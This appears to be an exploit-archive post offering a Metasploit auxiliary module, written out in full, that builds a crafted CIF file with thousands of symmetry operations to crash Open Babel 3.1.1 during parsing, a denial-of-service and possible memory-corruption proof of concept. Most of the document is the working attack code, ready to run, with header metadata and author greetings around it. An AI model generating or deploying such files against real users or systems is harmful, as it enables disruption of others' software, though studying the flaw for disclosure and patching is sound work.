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| # Title     : Open Babel 3.1.1 CIF File Memory Corruption PoC Metasploit Auxiliary Module                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://openbabel.org/index.html                                                                                            |
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[+] Summary    : This Metasploit auxiliary module generates a crafted .cif file designed to test for memory corruption conditions in Open Babel 3.1.1. By providing an excessive number of symmetry operations, it triggers a crash (DoS) during file parsing. 
                 The exact outcome depends on the target’s build, compiler settings, and memory allocator. The module includes configurable parameters for file name and iteration count, with safe upper limits to prevent framework instability.
				 
[+] POC   :  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Open Babel 3.1.1 CIF File Parsing Memory Corruption PoC',
      'Description'    => %q{
        This module generates a crafted .cif file designed to test for memory corruption 
        conditions in Open Babel 3.1.1. By providing an excessive number of 
        symmetry operations, the module attempts to trigger a crash during the 
        parsing process. The outcome may vary significantly depending on the target's 
        build configuration, compiler optimizations, and memory allocator.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'indoushka' ],
      'References'     =>
        [
          [ 'URL', 'https://github.com/openbabel/openbabel/issues' ]
        ],
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE ], 
          'Reliability' => [ REPEATABLE ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
    ))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'test_case.cif']),
        OptInt.new('ITERATIONS', [ true, 'Number of symmetry operations (Limit: 1-5000)', 500])
      ])
  end

  def check
    CheckCode::Unknown
  end

  def run

    count = datastore['ITERATIONS']
    
    if count <= 0
      print_error("ITERATIONS must be a positive integer. Setting to default (500).")
      count = 500
    elsif count > 5000
      print_warning("ITERATIONS exceeds the safe limit of 5000. Capping for stability.")
      count = 5000
    end

    symops_array = Array.new(count) do |i|
      "'#{i + 1}*x, #{i + 1}*y, #{i + 1}*z'"
    end
    symops = symops_array.join("\n")

    cif_payload = <<~EOF
      data_OPEN_BABEL_TEST
      _cell_length_a 10.0
      _cell_length_b 10.0
      _cell_length_c 10.0
      _cell_angle_alpha 90.0
      _cell_angle_beta 90.0
      _cell_angle_gamma 90.0
      loop_
      _space_group_symop_operation_xyz
      #{symops}
    EOF

    print_status("Generating PoC file: #{datastore['FILENAME']} with #{count} iterations...")
    file_create(cif_payload)
    print_good("PoC file generated successfully.")
  end
end

	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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